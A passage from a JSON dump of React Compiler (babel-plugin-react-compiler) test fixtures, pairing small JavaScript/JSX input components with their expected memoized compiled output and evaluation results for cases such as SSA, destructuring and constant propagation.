    "content": "// note: comments are for the ideal scopes, not what is currently\n// emitted\nfunction foo(props) {\n  // scope 0: deps=[props.a] decl=[x] reassign=none\n  let x = [];\n  x.push(props.a);\n\n  // scope 1: deps=[x] decl=[header] reassign=none\n  const header = <div>{x}</div>;\n\n  // scope 2:\n  // deps=[x, props.b, props.c]\n  // decl=none\n  // reassign=[x]\n  const y = [x]; // y depends on the earlier x\n  x = []; // x reassigned\n  y.push(props.b); // interleaved mutation of x/y\n  x.push(props.c); // interleaved mutation\n\n  // scope 3 ...\n  const content = (\n    <div>\n      {x}\n      {y}\n    </div>\n  );\n\n  // scope 4 ...\n  return (\n    <>\n      {header}\n      {content}\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/script-source-type.expect.md",
    "content": "\n## Input\n\n```javascript\n// @script\nconst React = require('react');\n\nfunction Component(props) {\n  return <div>{props.name}</div>;\n}\n\n// To work with snap evaluator\nexports = {\n  FIXTURE_ENTRYPOINT: {\n    fn: Component,\n    params: [{name: 'React Compiler'}],\n  },\n};\n\n```\n\n## Code\n\n```javascript\nconst { c: _c } = require(\"react/compiler-runtime\"); // @script\nconst React = require(\"react\");\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    t0 = <div>{props.name}</div>;\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n// To work with snap evaluator\nexports = {\n  FIXTURE_ENTRYPOINT: {\n    fn: Component,\n    params: [{ name: \"React Compiler\" }],\n  },\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>React Compiler</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/script-source-type.js",
    "content": "// @script\nconst React = require('react');\n\nfunction Component(props) {\n  return <div>{props.name}</div>;\n}\n\n// To work with snap evaluator\nexports = {\n  FIXTURE_ENTRYPOINT: {\n    fn: Component,\n    params: [{name: 'React Compiler'}],\n  },\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequence-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction sequence(props) {\n  let x = (null, Math.max(1, 2), foo());\n  while ((foo(), true)) {\n    x = (foo(), 2);\n  }\n  return x;\n}\n\nfunction foo() {}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction sequence(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (Math.max(1, 2), foo());\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let x = t0;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    while ((foo(), true)) {\n      x = (foo(), 2);\n    }\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\nfunction foo() {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequence-expression.js",
    "content": "function sequence(props) {\n  let x = (null, Math.max(1, 2), foo());\n  while ((foo(), true)) {\n    x = (foo(), 2);\n  }\n  return x;\n}\n\nfunction foo() {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(statusName) {\n  const {status, text} = foo(statusName);\n  const {bg, color} = getStyles(status);\n  return (\n    <div className={identity(bg)}>\n      <span className={identity(color)}>{[text]}</span>\n    </div>\n  );\n}\n\nfunction foo(name) {\n  return {\n    status: `<status>`,\n    text: `${name}!`,\n  };\n}\n\nfunction getStyles(status) {\n  return {\n    bg: '#eee8d5',\n    color: '#657b83',\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['Mofei'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(statusName) {\n  const $ = _c(12);\n  let t0;\n  let t1;\n  let text;\n  if ($[0] !== statusName) {\n    const { status, text: t2 } = foo(statusName);\n    text = t2;\n    const { bg, color } = getStyles(status);\n    t1 = identity(bg);\n    t0 = identity(color);\n    $[0] = statusName;\n    $[1] = t0;\n    $[2] = t1;\n    $[3] = text;\n  } else {\n    t0 = $[1];\n    t1 = $[2];\n    text = $[3];\n  }\n  let t2;\n  if ($[4] !== text) {\n    t2 = [text];\n    $[4] = text;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  let t3;\n  if ($[6] !== t0 || $[7] !== t2) {\n    t3 = <span className={t0}>{t2}</span>;\n    $[6] = t0;\n    $[7] = t2;\n    $[8] = t3;\n  } else {\n    t3 = $[8];\n  }\n  let t4;\n  if ($[9] !== t1 || $[10] !== t3) {\n    t4 = <div className={t1}>{t3}</div>;\n    $[9] = t1;\n    $[10] = t3;\n    $[11] = t4;\n  } else {\n    t4 = $[11];\n  }\n  return t4;\n}\n\nfunction foo(name) {\n  const $ = _c(2);\n\n  const t0 = `${name}!`;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = { status: \"<status>\", text: t0 };\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction getStyles(status) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { bg: \"#eee8d5\", color: \"#657b83\" };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"Mofei\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div class=\"#eee8d5\"><span class=\"#657b83\">Mofei!</span></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(statusName) {\n  const {status, text} = foo(statusName);\n  const {bg, color} = getStyles(status);\n  return (\n    <div className={identity(bg)}>\n      <span className={identity(color)}>{[text]}</span>\n    </div>\n  );\n}\n\nfunction foo(name) {\n  return {\n    status: `<status>`,\n    text: `${name}!`,\n  };\n}\n\nfunction getStyles(status) {\n  return {\n    bg: '#eee8d5',\n    color: '#657b83',\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['Mofei'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(statusName) {\n  // status is local, text is a scope declaration\n  const {status, text} = foo(statusName);\n  // color is local, font is a scope declaration\n  const {color, font} = getStyles(status);\n  // bg is a declaration\n  const bg = identity(color);\n  return (\n    <div className={bg}>\n      <span className={font}>{[text]}</span>\n    </div>\n  );\n}\nfunction foo(name) {\n  return {\n    status: `<status>`,\n    text: `${name}!`,\n  };\n}\n\nfunction getStyles(status) {\n  return {\n    font: 'comic-sans',\n    color: '#657b83',\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['Sathya'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(statusName) {\n  const $ = _c(12);\n  let font;\n  let t0;\n  let text;\n  if ($[0] !== statusName) {\n    const { status, text: t1 } = foo(statusName);\n    text = t1;\n    const { color, font: t2 } = getStyles(status);\n    font = t2;\n    t0 = identity(color);\n    $[0] = statusName;\n    $[1] = font;\n    $[2] = t0;\n    $[3] = text;\n  } else {\n    font = $[1];\n    t0 = $[2];\n    text = $[3];\n  }\n  const bg = t0;\n  let t1;\n  if ($[4] !== text) {\n    t1 = [text];\n    $[4] = text;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  let t2;\n  if ($[6] !== font || $[7] !== t1) {\n    t2 = <span className={font}>{t1}</span>;\n    $[6] = font;\n    $[7] = t1;\n    $[8] = t2;\n  } else {\n    t2 = $[8];\n  }\n  let t3;\n  if ($[9] !== bg || $[10] !== t2) {\n    t3 = <div className={bg}>{t2}</div>;\n    $[9] = bg;\n    $[10] = t2;\n    $[11] = t3;\n  } else {\n    t3 = $[11];\n  }\n  return t3;\n}\n\nfunction foo(name) {\n  const $ = _c(2);\n\n  const t0 = `${name}!`;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = { status: \"<status>\", text: t0 };\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction getStyles(status) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { font: \"comic-sans\", color: \"#657b83\" };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"Sathya\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div class=\"#657b83\"><span class=\"comic-sans\">Sathya!</span></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(statusName) {\n  // status is local, text is a scope declaration\n  const {status, text} = foo(statusName);\n  // color is local, font is a scope declaration\n  const {color, font} = getStyles(status);\n  // bg is a declaration\n  const bg = identity(color);\n  return (\n    <div className={bg}>\n      <span className={font}>{[text]}</span>\n    </div>\n  );\n}\nfunction foo(name) {\n  return {\n    status: `<status>`,\n    text: `${name}!`,\n  };\n}\n\nfunction getStyles(status) {\n  return {\n    font: 'comic-sans',\n    color: '#657b83',\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['Sathya'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let a = 1;\n\n  let b;\n  if (a === 1) {\n    b = true;\n  } else {\n    b = false;\n  }\n\n  let c;\n  if (b) {\n    c = 'hello';\n  } else {\n    c = null;\n  }\n\n  let d;\n  if (c === 'hello') {\n    d = 42.0;\n  } else {\n    d = 42.001;\n  }\n\n  let e;\n  if (d === 42.0) {\n    e = 'ok';\n  } else {\n    e = 'nope';\n  }\n\n  // should constant-propagate to \"ok\"\n  return e;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component() {\n  return \"ok\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"ok\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.js",
    "content": "function Component() {\n  let a = 1;\n\n  let b;\n  if (a === 1) {\n    b = true;\n  } else {\n    b = false;\n  }\n\n  let c;\n  if (b) {\n    c = 'hello';\n  } else {\n    c = null;\n  }\n\n  let d;\n  if (c === 'hello') {\n    d = 42.0;\n  } else {\n    d = 42.001;\n  }\n\n  let e;\n  if (d === 42.0) {\n    e = 'ok';\n  } else {\n    e = 'nope';\n  }\n\n  // should constant-propagate to \"ok\"\n  return e;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/shapes-object-key.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {arrayPush} from 'shared-runtime';\n\nfunction useFoo({a, b}) {\n  const obj = {a};\n  arrayPush(Object.keys(obj), b);\n  return obj;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2, b: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { arrayPush } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const obj = t1;\n  arrayPush(Object.keys(obj), b);\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: 2, b: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/shapes-object-key.ts",
    "content": "import {arrayPush} from 'shared-runtime';\n\nfunction useFoo({a, b}) {\n  const obj = {a};\n  arrayPush(Object.keys(obj), b);\n  return obj;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2, b: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating @panicThreshold:\"none\" @compilationMode:\"annotation\"\nlet someGlobal = 'joe';\n\nfunction Component() {\n  'use forget';\n  someGlobal = 'wat';\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @gating @panicThreshold:\"none\" @compilationMode:\"annotation\"\nlet someGlobal = \"joe\";\n\nfunction Component() {\n  \"use forget\";\n  someGlobal = \"wat\";\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.js",
    "content": "// @gating @panicThreshold:\"none\" @compilationMode:\"annotation\"\nlet someGlobal = 'joe';\n\nfunction Component() {\n  'use forget';\n  someGlobal = 'wat';\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating @panicThreshold:\"none\" @compilationMode:\"infer\"\nlet someGlobal = 'joe';\n\nfunction Component() {\n  someGlobal = 'wat';\n  return <div>{someGlobal}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @gating @panicThreshold:\"none\" @compilationMode:\"infer\"\nlet someGlobal = \"joe\";\n\nfunction Component() {\n  someGlobal = \"wat\";\n  return <div>{someGlobal}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>wat</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.js",
    "content": "// @gating @panicThreshold:\"none\" @compilationMode:\"infer\"\nlet someGlobal = 'joe';\n\nfunction Component() {\n  someGlobal = 'wat';\n  return <div>{someGlobal}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction mutate() {}\nfunction foo() {\n  let a = {};\n  let b = {};\n  let c = {};\n  a = b;\n  b = c;\n  c = a;\n  mutate(a, b);\n  return c;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction mutate() {}\nfunction foo() {\n  const $ = _c(2);\n  let a;\n  let c;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    let b = {};\n    c = {};\n    a = b;\n    b = c;\n    c = a;\n    mutate(a, b);\n    $[0] = c;\n    $[1] = a;\n  } else {\n    c = $[0];\n    a = $[1];\n  }\n  return c;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-alias.js",
    "content": "function mutate() {}\nfunction foo() {\n  let a = {};\n  let b = {};\n  let c = {};\n  a = b;\n  b = c;\n  c = a;\n  mutate(a, b);\n  return c;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-function-1.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let x = function (a) {\n    a.foo();\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction component() {\n  const x = _temp;\n\n  return x;\n}\nfunction _temp(a) {\n  a.foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=1 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-function-1.js",
    "content": "function component() {\n  let x = function (a) {\n    a.foo();\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a) {\n  const x = [a.b];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a.b) {\n    t0 = [a.b];\n    $[0] = a.b;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.js",
    "content": "function foo(a) {\n  const x = [a.b];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple.expect.md",
    "content": "\n## Input\n\n```javascript\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport default function foo(x, y) {\n  const $ = _c(4);\n  if (x) {\n    let t0;\n    if ($[0] !== y) {\n      t0 = foo(false, y);\n      $[0] = y;\n      $[1] = t0;\n    } else {\n      t0 = $[1];\n    }\n    return t0;\n  }\n\n  const t0 = y * 10;\n  let t1;\n  if ($[2] !== t0) {\n    t1 = [t0];\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple.js",
    "content": "export default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled\nimport {c as useMemoCache} from 'react/compiler-runtime';\n\nfunction Component(props) {\n  const $ = useMemoCache();\n  let x;\n  if ($[0] === undefined) {\n    x = [props.value];\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled\nimport { c as useMemoCache } from \"react/compiler-runtime\";\n\nfunction Component(props) {\n  const $ = useMemoCache();\n  let x;\n  if ($[0] === undefined) {\n    x = [props.value];\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.js",
    "content": "// @expectNothingCompiled\nimport {c as useMemoCache} from 'react/compiler-runtime';\n\nfunction Component(props) {\n  const $ = useMemoCache();\n  let x;\n  if ($[0] === undefined) {\n    x = [props.value];\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const a = 1;\n  const b = 2;\n  const x = [a, b];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [1, 2];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.js",
    "content": "function Component(props) {\n  const a = 1;\n  const b = 2;\n  const x = [a, b];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx-2.expect.md",
    "content": "\n## Input\n\n```javascript\n// @Pass runMutableRangeAnalysis\nfunction foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  foo(a, b);\n  if (foo()) {\n    let _ = <div a={a} />;\n  }\n  foo(a, b);\n  return <div a={a} b={b} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @Pass runMutableRangeAnalysis\nfunction foo() {}\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = [];\n    const b = {};\n    foo(a, b);\n    if (foo()) {\n    }\n    foo(a, b);\n    t0 = <div a={a} b={b} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx-2.js",
    "content": "// @Pass runMutableRangeAnalysis\nfunction foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  foo(a, b);\n  if (foo()) {\n    let _ = <div a={a} />;\n  }\n  foo(a, b);\n  return <div a={a} b={b} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  foo(a, b);\n  let _ = <div a={a} />;\n  foo(a, b);\n  return <div a={a} b={b} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {}\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = [];\n    const b = {};\n    foo(a, b);\n    foo(a, b);\n    t0 = <div a={a} b={b} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx.js",
    "content": "function foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  foo(a, b);\n  let _ = <div a={a} />;\n  foo(a, b);\n  return <div a={a} b={b} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  const values = [];\n  const y = props.a || props.b;\n  values.push(y);\n  if (props.c) {\n    x = 1;\n  }\n  values.push(x);\n  if (props.d) {\n    x = 2;\n  }\n  values.push(x);\n  return values;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1, c: true, d: true}],\n  sequentialRenders: [\n    {a: 0, b: 1, c: true, d: true},\n    {a: 4, b: 1, c: true, d: true},\n    {a: 4, b: 1, c: false, d: true},\n    {a: 4, b: 1, c: false, d: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(7);\n  let x = 0;\n  let values;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d ||\n    $[4] !== x\n  ) {\n    values = [];\n    const y = props.a || props.b;\n    values.push(y);\n    if (props.c) {\n      x = 1;\n    }\n\n    values.push(x);\n    if (props.d) {\n      x = 2;\n    }\n\n    values.push(x);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = x;\n    $[5] = values;\n    $[6] = x;\n  } else {\n    values = $[5];\n    x = $[6];\n  }\n  return values;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 1, c: true, d: true }],\n  sequentialRenders: [\n    { a: 0, b: 1, c: true, d: true },\n    { a: 4, b: 1, c: true, d: true },\n    { a: 4, b: 1, c: false, d: true },\n    { a: 4, b: 1, c: false, d: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1,1,2]\n[4,1,2]\n[4,0,2]\n[4,0,0]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.js",
    "content": "function Component(props) {\n  let x = 0;\n  const values = [];\n  const y = props.a || props.b;\n  values.push(y);\n  if (props.c) {\n    x = 1;\n  }\n  values.push(x);\n  if (props.d) {\n    x = 2;\n  }\n  values.push(x);\n  return values;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1, c: true, d: true}],\n  sequentialRenders: [\n    {a: 0, b: 1, c: true, d: true},\n    {a: 4, b: 1, c: true, d: true},\n    {a: 4, b: 1, c: false, d: true},\n    {a: 4, b: 1, c: false, d: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-complex-multiple-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  let y = 2;\n  if (y === 2) {\n    x = 3;\n  }\n\n  if (y === 3) {\n    x = 5;\n  }\n  y = x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-complex-multiple-if.js",
    "content": "function foo() {\n  let x = 1;\n  let y = 2;\n  if (y === 2) {\n    x = 3;\n  }\n\n  if (y === 3) {\n    x = 5;\n  }\n  y = x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-complex-single-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  let y = 2;\n  if (y === 2) {\n    x = 3;\n  }\n\n  y = x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
